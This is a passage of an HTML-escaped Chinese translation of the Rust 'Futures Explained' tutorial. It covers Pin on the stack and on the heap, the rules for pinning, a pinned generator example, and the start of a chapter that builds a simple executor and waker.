    println!(&amp;quot;a: {}, b: {}&amp;quot;, test1.a(), test1.b());
    std::mem::swap(&amp;amp;mut test1, &amp;amp;mut test2);
    test1.a = &amp;quot;I&amp;#x27;ve totally changed now!&amp;quot;.to_string();
    println!(&amp;quot;a: {}, b: {}&amp;quot;, test2.a(), test2.b());

}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这是不应该发生的。 目前还没有严重的错误，但是您可以想象，使用这些代码很容易创建严重的错误。&lt;&#x2F;p&gt;
&lt;p&gt;我创建了一个图表来帮助可视化正在发生的事情:&lt;&#x2F;p&gt;
&lt;p&gt;正如你看到的,这不是我们想要的结果. 这很容易导致段错误,也很容易导致其他意想不到的未知行为以及失败.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;gu-ding-zai-zhan-shang&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;4_pin.html#%E5%9B%BA%E5%AE%9A%E5%9C%A8%E6%A0%88%E4%B8%8A&quot;&gt;固定在栈上&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;现在，我们可以通过使用&lt;code&gt;Pin&lt;&#x2F;code&gt;来解决这个问题。 让我们来看看我们的例子是什么样的:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused_variables)]
fn main() {
use std::pin::Pin;
use std::marker::PhantomPinned;

 #[derive(Debug)]
struct Test {
    a: String,
    b: *const String,
    _marker: PhantomPinned,
}

impl Test {
    fn new(txt: &amp;amp;str) -&amp;gt; Self {
        let a = String::from(txt);
        Test {
            a,
            b: std::ptr::null(),
            &amp;#x2F;&amp;#x2F; This makes our type `!Unpin`
            _marker: PhantomPinned,
        }
    }
    fn init&amp;lt;&amp;#x27;a&amp;gt;(self: Pin&amp;lt;&amp;amp;&amp;#x27;a mut Self&amp;gt;) {
        let self_ptr: *const String = &amp;amp;self.a;
        let this = unsafe { self.get_unchecked_mut() };
        this.b = self_ptr;
    }

    fn a&amp;lt;&amp;#x27;a&amp;gt;(self: Pin&amp;lt;&amp;amp;&amp;#x27;a Self&amp;gt;) -&amp;gt; &amp;amp;&amp;#x27;a str {
        &amp;amp;self.get_ref().a
    }

    fn b&amp;lt;&amp;#x27;a&amp;gt;(self: Pin&amp;lt;&amp;amp;&amp;#x27;a Self&amp;gt;) -&amp;gt; &amp;amp;&amp;#x27;a String {
        unsafe { &amp;amp;*(self.b) }
    }
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在，我们在这里所做的就是固定到一个栈地址。如果我们的类型实现了&lt;code&gt;!UnPin&lt;&#x2F;code&gt;，那么它将总是&lt;code&gt;unsafe&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;我们在这里使用相同的技巧，包括需要 init。 如果我们想要解决这个问题并让用户避免&lt;code&gt;unsafe&lt;&#x2F;code&gt;，我们需要将数据钉在堆上，我们马上就会展示这一点。&lt;&#x2F;p&gt;
&lt;p&gt;让我们看看如果我们现在运行我们的例子会发生什么:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;pub fn main() {
    &amp;#x2F;&amp;#x2F; test1 is safe to move before we initialize it
    let mut test1 = Test::new(&amp;quot;test1&amp;quot;);
    &amp;#x2F;&amp;#x2F; Notice how we shadow `test1` to prevent it from beeing accessed again
    let mut test1 = unsafe { Pin::new_unchecked(&amp;amp;mut test1) };
    Test::init(test1.as_mut());

    let mut test2 = Test::new(&amp;quot;test2&amp;quot;);
    let mut test2 = unsafe { Pin::new_unchecked(&amp;amp;mut test2) };
    Test::init(test2.as_mut());

    println!(&amp;quot;a: {}, b: {}&amp;quot;, Test::a(test1.as_ref()), Test::b(test1.as_ref()));
    println!(&amp;quot;a: {}, b: {}&amp;quot;, Test::a(test2.as_ref()), Test::b(test2.as_ref()));
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在，如果我们尝试使用上次使我们陷入麻烦的问题，您将得到一个编译错误。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;pub fn main() {
    let mut test1 = Test::new(&amp;quot;test1&amp;quot;);
    let mut test1 = unsafe { Pin::new_unchecked(&amp;amp;mut test1) };
    Test::init(test1.as_mut());

    let mut test2 = Test::new(&amp;quot;test2&amp;quot;);
    let mut test2 = unsafe { Pin::new_unchecked(&amp;amp;mut test2) };
    Test::init(test2.as_mut());

    println!(&amp;quot;a: {}, b: {}&amp;quot;, Test::a(test1.as_ref()), Test::b(test1.as_ref()));
    std::mem::swap(test1.as_mut(), test2.as_mut());
    println!(&amp;quot;a: {}, b: {}&amp;quot;, Test::a(test2.as_ref()), Test::b(test2.as_ref()));
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;正如您从运行代码所得到的错误中看到的那样，类型系统阻止我们交换固定指针。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;需要注意的是，栈pinning总是依赖于我们所在的当前栈帧，因此我们不能在一个栈帧中创建一个自引用对象并返回它，因为任何指向“self”的指针都是无效的。 如果你把一个值固定在一个栈上，这也会让你承担很多责任。 一个很容易犯的错误是，忘记对原始变量进行阴影处理，因为这样可以在初始化后drop固定的指针并访问原来的值:&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre&gt;&lt;code&gt;fn main() {
   let mut test1 = Test::new(&amp;quot;test1&amp;quot;);
   let mut test1_pin = unsafe { Pin::new_unchecked(&amp;amp;mut test1) };
   Test::init(test1_pin.as_mut());
   drop(test1_pin);

   let mut test2 = Test::new(&amp;quot;test2&amp;quot;);
   mem::swap(&amp;amp;mut test1, &amp;amp;mut test2);
   println!(&amp;quot;Not self referential anymore: {:?}&amp;quot;, test1.b);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;gu-ding-zai-dui-shang&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;4_pin.html#%E5%9B%BA%E5%AE%9A%E5%9C%A8%E5%A0%86%E4%B8%8A&quot;&gt;固定在堆上&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;为了完整性，让我们删除一些不安全的内容，通过以堆分配为代价来消除&lt;code&gt;init&lt;&#x2F;code&gt;方法。 固定到堆是安全的，这样用户不需要实现任何不安全的代码:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;use std::pin::Pin;
use std::marker::PhantomPinned;

 #[derive(Debug)]
struct Test {
    a: String,
    b: *const String,
    _marker: PhantomPinned,
}

impl Test {
    fn new(txt: &amp;amp;str) -&amp;gt; Pin&amp;lt;Box&amp;lt;Self&amp;gt;&amp;gt; {
        let a = String::from(txt);
        let t = Test {
            a,
            b: std::ptr::null(),
            _marker: PhantomPinned,
        };
        let mut boxed = Box::pin(t);
        let self_ptr: *const String = &amp;amp;boxed.as_ref().a;
        unsafe { boxed.as_mut().get_unchecked_mut().b = self_ptr };

        boxed
    }

    fn a&amp;lt;&amp;#x27;a&amp;gt;(self: Pin&amp;lt;&amp;amp;&amp;#x27;a Self&amp;gt;) -&amp;gt; &amp;amp;&amp;#x27;a str {
        &amp;amp;self.get_ref().a
    }

    fn b&amp;lt;&amp;#x27;a&amp;gt;(self: Pin&amp;lt;&amp;amp;&amp;#x27;a Self&amp;gt;) -&amp;gt; &amp;amp;&amp;#x27;a String {
        unsafe { &amp;amp;*(self.b) }
    }
}

pub fn main() {
    let mut test1 = Test::new(&amp;quot;test1&amp;quot;);
    let mut test2 = Test::new(&amp;quot;test2&amp;quot;);

    println!(&amp;quot;a: {}, b: {}&amp;quot;,test1.as_ref().a(), test1.as_ref().b());
    println!(&amp;quot;a: {}, b: {}&amp;quot;,test2.as_ref().a(), test2.as_ref().b());
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;事实上就算是&lt;code&gt;!Unpin&lt;&#x2F;code&gt;有意义,固定一个堆分配的值也是安全的。 一旦在堆上分配了数据，它就会有一个稳定的地址。&lt;&#x2F;p&gt;
&lt;p&gt;作为 API 的用户，我们不需要特别注意并确保自引用指针保持有效。&lt;&#x2F;p&gt;
&lt;p&gt;也有一些方法能够对固定栈上提供一些安全保证，但是现在我们使用&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.rs&#x2F;pin-project&#x2F;&quot;&gt;pin_project&lt;&#x2F;a&gt;这个包来实现这一点。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;pinningde-yi-xie-shi-yong-gui-ze&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;4_pin.html#pinning%E7%9A%84%E4%B8%80%E4%BA%9B%E5%AE%9E%E7%94%A8%E8%A7%84%E5%88%99&quot;&gt;Pinning的一些实用规则&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;针对&lt;code&gt;T:UnPin&lt;&#x2F;code&gt;(这是默认值),&lt;code&gt;Pin&amp;lt;&#x27;a,T&amp;gt;&lt;&#x2F;code&gt;完全定价与&lt;code&gt;&amp;amp;&#x27;a mut T&lt;&#x2F;code&gt;. 换句话说: &lt;code&gt;UnPin&lt;&#x2F;code&gt;意味着这个类型即使在固定时也可以移动，所以Pin对这个类型没有影响。&lt;&#x2F;li&gt;
&lt;li&gt;针对&lt;code&gt;T:!UnPin&lt;&#x2F;code&gt;,从&lt;code&gt;Pin&amp;lt; T&amp;gt;&lt;&#x2F;code&gt;获取到&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;,则必须使用unsafe. 换句话说,&lt;code&gt;!Unpin&lt;&#x2F;code&gt;能够阻止API的使用者移动T,除非他写出unsafe的代码.&lt;&#x2F;li&gt;
&lt;li&gt;Pinning对于内存分配没有什么特别的作用，比如将其放入某个“只读”内存或任何奇特的内存中。 它只使用类型系统来防止对该值进行某些操作。&lt;&#x2F;li&gt;
&lt;li&gt;大多数标准库类型实现 Unpin。 这同样适用于你在 Rust 中遇到的大多数“正常”类型。 &lt;code&gt;Future&lt;&#x2F;code&gt;和&lt;code&gt;Generators&lt;&#x2F;code&gt;是两个例外。&lt;&#x2F;li&gt;
&lt;li&gt;Pin的主要用途就是自引用类型,Rust语言的所有这些调整就是为了允许这个. 这个API中仍然有一些问题需要探讨.&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;!UnPin&lt;&#x2F;code&gt;这些类型的实现很有可能是不安全的. 在这种类型被钉住后移动它可能会导致程序崩溃。 在撰写本书时，创建和读取自引用结构的字段仍然需要不安全的方法(唯一的方法是创建一个包含指向自身的原始指针的结构)。&lt;&#x2F;li&gt;
&lt;li&gt;当使用nightly版本时,你可以在一个使用特性标记在一个类型上添加&lt;code&gt;!UnPin&lt;&#x2F;code&gt;. 当使用stable版本时,可以将std: : marker: : PhantomPinned 添加到类型上。&lt;&#x2F;li&gt;
&lt;li&gt;你既可以固定一个栈上的对象也可以固定一个堆上的对象.&lt;&#x2F;li&gt;
&lt;li&gt;将一个&lt;code&gt;!UnPin&lt;&#x2F;code&gt;的指向栈上的指针固定需要unsafe.&lt;&#x2F;li&gt;
&lt;li&gt;将一个&lt;code&gt;!UnPin&lt;&#x2F;code&gt;的指向堆上的指针固定,不需要unsafe,可以直接使用&lt;code&gt;Box::Pin&lt;&#x2F;code&gt;.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;blockquote&gt;
&lt;p&gt;不安全的代码并不意味着它真的“unsafe” ，它只是减轻了通常从编译器得到的保证。 一个不安全的实现可能是完全安全的，但是您没有编译器保证的安全网。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;ying-she-jie-gou-ti-de-gu-ding&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;4_pin.html#%E6%98%A0%E5%B0%84%E7%BB%93%E6%9E%84%E4%BD%93%E7%9A%84%E5%9B%BA%E5%AE%9A&quot;&gt;映射&#x2F;结构体的固定&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;简而言之，投影是一个编程语言术语。 Mystruct.field1是一个投影。 结构体的固定是在每一个字段上使用Pin。 这里有一些注意事项，您通常不会看到，因此我参考相关文档。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;pinhe-drop&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;4_pin.html#pin%E5%92%8Cdrop&quot;&gt;Pin和Drop&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;Pin保证从值被固定到被删除的那一刻起一直存在。 而在Drop实现中，您需要一个可变的 self 引用，这意味着在针对固定类型实现 Drop 时必须格外小心。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;ba-ta-men-fang-zai-yi-qi&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;4_pin.html#%E6%8A%8A%E5%AE%83%E4%BB%AC%E6%94%BE%E5%9C%A8%E4%B8%80%E8%B5%B7&quot;&gt;把它们放在一起&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;当我们实现自己的&lt;code&gt;Futures&lt;&#x2F;code&gt;的时候,这正是我们要做的，我们很快就完成了。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;jiang-li-bu-fen-2&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;4_pin.html#%E5%A5%96%E5%8A%B1%E9%83%A8%E5%88%86&quot;&gt;奖励部分&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;strong&gt;修复我们实现的自引用生成器以及学习更多的关于Pin的知识.&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;但是现在，让我们使用 Pin 来防止这个问题。 我一直在评论，以便更容易地发现和理解我们需要做出的改变。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt; #![feature(optin_builtin_traits, negative_impls)] &amp;#x2F;&amp;#x2F; needed to implement `!Unpin`
use std::pin::Pin;

pub fn main() {
    let gen1 = GeneratorA::start();
    let gen2 = GeneratorA::start();
    &amp;#x2F;&amp;#x2F; Before we pin the pointers, this is safe to do
    &amp;#x2F;&amp;#x2F; std::mem::swap(&amp;amp;mut gen, &amp;amp;mut gen2);

    &amp;#x2F;&amp;#x2F; constructing a `Pin::new()` on a type which does not implement `Unpin` is
    &amp;#x2F;&amp;#x2F; unsafe. A value pinned to heap can be constructed while staying in safe
    &amp;#x2F;&amp;#x2F; Rust so we can use that to avoid unsafe. You can also use crates like
    &amp;#x2F;&amp;#x2F; `pin_utils` to pin to the stack safely, just remember that they use
    &amp;#x2F;&amp;#x2F; unsafe under the hood so it&amp;#x27;s like using an already-reviewed unsafe
    &amp;#x2F;&amp;#x2F; implementation.

    let mut pinned1 = Box::pin(gen1);
    let mut pinned2 = Box::pin(gen2);

    &amp;#x2F;&amp;#x2F; Uncomment these if you think it&amp;#x27;s safe to pin the values to the stack instead
    &amp;#x2F;&amp;#x2F; (it is in this case). Remember to comment out the two previous lines first.
    &amp;#x2F;&amp;#x2F;let mut pinned1 = unsafe { Pin::new_unchecked(&amp;amp;mut gen1) };
    &amp;#x2F;&amp;#x2F;let mut pinned2 = unsafe { Pin::new_unchecked(&amp;amp;mut gen2) };

    if let GeneratorState::Yielded(n) = pinned1.as_mut().resume() {
        println!(&amp;quot;Gen1 got value {}&amp;quot;, n);
    }

    if let GeneratorState::Yielded(n) = pinned2.as_mut().resume() {
        println!(&amp;quot;Gen2 got value {}&amp;quot;, n);
    };

    &amp;#x2F;&amp;#x2F; This won&amp;#x27;t work:
    &amp;#x2F;&amp;#x2F; std::mem::swap(&amp;amp;mut gen, &amp;amp;mut gen2);
    &amp;#x2F;&amp;#x2F; This will work but will just swap the pointers so nothing bad happens here:
    &amp;#x2F;&amp;#x2F; std::mem::swap(&amp;amp;mut pinned1, &amp;amp;mut pinned2);

    let _ = pinned1.as_mut().resume();
    let _ = pinned2.as_mut().resume();
}

enum GeneratorState&amp;lt;Y, R&amp;gt; {
    Yielded(Y),
    Complete(R),
}

trait Generator {
    type Yield;
    type Return;
    fn resume(self: Pin&amp;lt;&amp;amp;mut Self&amp;gt;) -&amp;gt; GeneratorState&amp;lt;Self::Yield, Self::Return&amp;gt;;
}

enum GeneratorA {
    Enter,
    Yield1 {
        to_borrow: String,
        borrowed: *const String,
    },
    Exit,
}

impl GeneratorA {
    fn start() -&amp;gt; Self {
        GeneratorA::Enter
    }
}

&amp;#x2F;&amp;#x2F; This tells us that the underlying pointer is not safe to move after pinning.
&amp;#x2F;&amp;#x2F; In this case, only we as implementors &amp;quot;feel&amp;quot; this, however, if someone is
&amp;#x2F;&amp;#x2F; relying on our Pinned pointer this will prevent them from moving it. You need
&amp;#x2F;&amp;#x2F; to enable the feature flag ` #![feature(optin_builtin_traits)]` and use the
&amp;#x2F;&amp;#x2F; nightly compiler to implement `!Unpin`. Normally, you would use
&amp;#x2F;&amp;#x2F; `std::marker::PhantomPinned` to indicate that the struct is `!Unpin`.
impl !Unpin for GeneratorA { }

impl Generator for GeneratorA {
    type Yield = usize;
    type Return = ();
    fn resume(self: Pin&amp;lt;&amp;amp;mut Self&amp;gt;) -&amp;gt; GeneratorState&amp;lt;Self::Yield, Self::Return&amp;gt; {
        &amp;#x2F;&amp;#x2F; lets us get ownership over current state
        let this = unsafe { self.get_unchecked_mut() };
            match this {
            GeneratorA::Enter =&amp;gt; {
                let to_borrow = String::from(&amp;quot;Hello&amp;quot;);
                let borrowed = &amp;amp;to_borrow;
                let res = borrowed.len();
                *this = GeneratorA::Yield1 {to_borrow, borrowed: std::ptr::null()};

                &amp;#x2F;&amp;#x2F; Trick to actually get a self reference. We can&amp;#x27;t reference
                &amp;#x2F;&amp;#x2F; the `String` earlier since these references will point to the
                &amp;#x2F;&amp;#x2F; location in this stack frame which will not be valid anymore
                &amp;#x2F;&amp;#x2F; when this function returns.
                if let GeneratorA::Yield1 {to_borrow, borrowed} = this {
                    *borrowed = to_borrow;
                }

                GeneratorState::Yielded(res)
            }

            GeneratorA::Yield1 {borrowed, ..} =&amp;gt; {
                let borrowed: &amp;amp;String = unsafe {&amp;amp;**borrowed};
                println!(&amp;quot;{} world&amp;quot;, borrowed);
                *this = GeneratorA::Exit;
                GeneratorState::Complete(())
            }
            GeneratorA::Exit =&amp;gt; panic!(&amp;quot;Can&amp;#x27;t advance an exited generator!&amp;quot;),
        }
    }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在，正如你所看到的，这个 API 的使用者必须:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;将值装箱，从而在堆上分配它&lt;&#x2F;li&gt;
&lt;li&gt;使用&lt;code&gt;unafe&lt;&#x2F;code&gt;然后把值固定到栈上。 用户知道如果他们事后移动了这个值，那么他们在就违反了当他们使用unsafe时候做出的承诺,也就是一直持有.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;希望在这之后，你会知道当你在一个异步函数中使用&lt;code&gt;yield&lt;&#x2F;code&gt;或者&lt;code&gt;await&lt;&#x2F;code&gt;关键词时会发生什么，以及如果我们想要安全地跨yield&#x2F;await借用时。,为什么我们需要&lt;code&gt;Pin&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;shi-xian-futures-zhu-yao-li-zi&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;6_future_example.html#%E5%AE%9E%E7%8E%B0futures--%E4%B8%BB%E8%A6%81%E4%BE%8B%E5%AD%90&quot;&gt;实现Futures--主要例子&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;我们将用一个伪reactor和一个简单的执行器创建我们自己的&lt;code&gt;Futures&lt;&#x2F;code&gt;，它允许你在浏览器中编辑和运行代码&lt;&#x2F;p&gt;
&lt;p&gt;我将向您介绍这个示例，但是如果您想更深入的研究它，您可以&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;cfsamson&#x2F;examples-futures&quot;&gt;克隆存储库&lt;&#x2F;a&gt;并自己处理代码，或者直接从下一章复制代码。&lt;&#x2F;p&gt;
&lt;p&gt;readme文件中解释了几个分支，其中有两个分支与本章相关。 主分支是我们在这里经过的例子，&lt;code&gt;basic_example_commented&lt;&#x2F;code&gt;分支是这个具有大量注释的例子&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果您希望跟随我们的步骤，可以通过创建一个新的文件夹初始化一个新的 cargo 项目，并在其中运行 cargo init。所有的一切都在main.rs文件中.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;shi-xian-wo-men-zi-ji-de-futures&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;6_future_example.html#%E5%AE%9E%E7%8E%B0%E6%88%91%E4%BB%AC%E8%87%AA%E5%B7%B1%E7%9A%84futures&quot;&gt;实现我们自己的Futures&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;让我们先从引入依赖开始:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused_variables)]
fn main() {
use std::{
    future::Future, pin::Pin, sync::{mpsc::{channel, Sender}, Arc, Mutex},
    task::{Context, Poll, RawWaker, RawWakerVTable, Waker},
    thread::{self, JoinHandle}, time::{Duration, Instant}
};
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;zhi-xing-qi&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;6_future_example.html#%E6%89%A7%E8%A1%8C%E5%99%A8&quot;&gt;执行器&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;执行器的责任是获取一个或多个&lt;code&gt;Future&lt;&#x2F;code&gt;然后运行他们到完成。&lt;&#x2F;p&gt;
&lt;p&gt;执行器拿到&lt;code&gt;Future&lt;&#x2F;code&gt;后的第一件事就是轮询它.&lt;&#x2F;p&gt;
&lt;p&gt;轮询后可以发现以下三种情况:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;Future&lt;&#x2F;code&gt;返回Ready,然后就可以调度其他任何后续操作.&lt;&#x2F;li&gt;
&lt;li&gt;这个&lt;code&gt;Future&lt;&#x2F;code&gt;从未被轮询过,所以传入一个&lt;code&gt;Waker&lt;&#x2F;code&gt;,然后将它挂起&lt;&#x2F;li&gt;
&lt;li&gt;这个&lt;code&gt;Future&lt;&#x2F;code&gt;已经被轮询过,但是返回&lt;code&gt;Pending&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;Rust通过&lt;code&gt;Waker&lt;&#x2F;code&gt;为Reactor和执行器提供了通信方式. reactor存储这个&lt;code&gt;Waker&lt;&#x2F;code&gt;,然后在&lt;code&gt;Future&lt;&#x2F;code&gt;等待的事件完成的时候调用&lt;code&gt;Waker: : wake ()&lt;&#x2F;code&gt;,这样&lt;code&gt;Future&lt;&#x2F;code&gt;就会被再次轮询.&lt;&#x2F;p&gt;
&lt;p&gt;我们的执行器会是这个样子:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused_variables)]
fn main() {
&amp;#x2F;&amp;#x2F; Our executor takes any object which implements the `Future` trait
fn block_on&amp;lt;F: Future&amp;gt;(mut future: F) -&amp;gt; F::Output {

    &amp;#x2F;&amp;#x2F; the first thing we do is to construct a `Waker` which we&amp;#x27;ll pass on to
    &amp;#x2F;&amp;#x2F; the `reactor` so it can wake us up when an event is ready.
    let mywaker = Arc::new(MyWaker{ thread: thread::current() });
    let waker = waker_into_waker(Arc::into_raw(mywaker));

    &amp;#x2F;&amp;#x2F; The context struct is just a wrapper for a `Waker` object. Maybe in the
    &amp;#x2F;&amp;#x2F; future this will do more, but right now it&amp;#x27;s just a wrapper.
    let mut cx = Context::from_waker(&amp;amp;waker);

    &amp;#x2F;&amp;#x2F; So, since we run this on one thread and run one future to completion
    &amp;#x2F;&amp;#x2F; we can pin the `Future` to the stack. This is unsafe, but saves an
    &amp;#x2F;&amp;#x2F; allocation. We could `Box::pin` it too if we wanted. This is however
    &amp;#x2F;&amp;#x2F; safe since we shadow `future` so it can&amp;#x27;t be accessed again and will
    &amp;#x2F;&amp;#x2F; not move until it&amp;#x27;s dropped.
    let mut future = unsafe { Pin::new_unchecked(&amp;amp;mut future) };

    &amp;#x2F;&amp;#x2F; We poll in a loop, but it&amp;#x27;s not a busy loop. It will only run when
    &amp;#x2F;&amp;#x2F; an event occurs, or a thread has a &amp;quot;spurious wakeup&amp;quot; (an unexpected wakeup
    &amp;#x2F;&amp;#x2F; that can happen for no good reason).
    let val = loop {

        match Future::poll(pinned, &amp;amp;mut cx) {

            &amp;#x2F;&amp;#x2F; when the Future is ready we&amp;#x27;re finished
            Poll::Ready(val) =&amp;gt; break val,

            &amp;#x2F;&amp;#x2F; If we get a `pending` future we just go to sleep...
            Poll::Pending =&amp;gt; thread::park(),
        };
    };
    val
}
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在本章的所有例子中，我都选择了对代码进行广泛的注释。 我发现沿着这条路走会更容易一些，所以我不会在这里重复自己的话，只关注一些可能需要进一步解释的重要方面。&lt;&#x2F;p&gt;
&lt;p&gt;现在你已经阅读了这么多关于生成器和 Pin 的内容，这应该很容易理解。 &lt;code&gt;Future&lt;&#x2F;code&gt;是一个状态机，每一个&lt;code&gt;await&lt;&#x2F;code&gt;点也是一个&lt;code&gt;yield&lt;&#x2F;code&gt;点。 我们可以跨越&lt;code&gt;await&lt;&#x2F;code&gt;借用，我们遇到的问题与跨&lt;code&gt;yield&lt;&#x2F;code&gt;借用时完全一样。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Context&lt;&#x2F;code&gt;只是 &lt;code&gt;Waker&lt;&#x2F;code&gt; 的包装器, 至少在我写这本书的时候，它仅仅是这样。 在未来，&lt;code&gt;Context&lt;&#x2F;code&gt;对象可能不仅仅是包装一个&lt;code&gt;Waker&lt;&#x2F;code&gt;(译者注,原文是Future,应该有误)，因此这种额外的抽象可以提供一些灵活性。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;正如在关于生成器的章节中解释的那样，我们使用Pin来保证允许&lt;code&gt;Future&lt;&#x2F;code&gt;有自引用。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;shi-xian-future&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stevenbai.top&#x2F;books-futures-explained&#x2F;book&#x2F;6_future_example.html#%E5%AE%9E%E7%8E%B0future&quot;&gt;实现Future&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;code&gt;Future&lt;&#x2F;code&gt;有一个定义良好的接口，这意味着他们可以用于整个生态系统。&lt;&#x2F;p&gt;
&lt;p&gt;我们可以将这些&lt;code&gt;Future&lt;&#x2F;code&gt;连接起来，这样一旦&lt;code&gt;leaf-future&lt;&#x2F;code&gt;准备好了，我们就可以执行一系列操作，直到任务完成或者我们到达另一个&lt;code&gt;leaf-future&lt;&#x2F;code&gt;，我们将等待并将控制权交给调度程序。&lt;&#x2F;p&gt;
&lt;p&gt;我们&lt;code&gt;Future&lt;&#x2F;code&gt;的实现是这样的:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;
#![allow(unused_variables)]
fn main() {
&amp;#x2F;&amp;#x2F; This is the definition of our `Waker`. We use a regular thread-handle here.
&amp;#x2F;&amp;#x2F; It works but it&amp;#x27;s not a good solution. It&amp;#x27;s easy to fix though, I&amp;#x27;ll explain
&amp;#x2F;&amp;#x2F; after this code snippet.
#[derive(Clone)]
struct MyWaker {
    thread: thread::Thread,
}

&amp;#x2F;&amp;#x2F; This is the definition of our `Future`. It keeps all the information we
&amp;#x2F;&amp;#x2F; need. This one holds a reference to our `reactor`, that&amp;#x27;s just to make
&amp;#x2F;&amp;#x2F; this example as easy as possible. It doesn&amp;#x27;t need to hold a reference to
&amp;#x2F;&amp;#x2F; the whole reactor, but it needs to be able to register itself with the
&amp;#x2F;&amp;#x2F; reactor.
#[derive(Clone)]
pub struct Task {
    id: usize,
    reactor: Arc&amp;lt;Mutex&amp;lt;Box&amp;lt;Reactor&amp;gt;&amp;gt;&amp;gt;,
    data: u64,
}

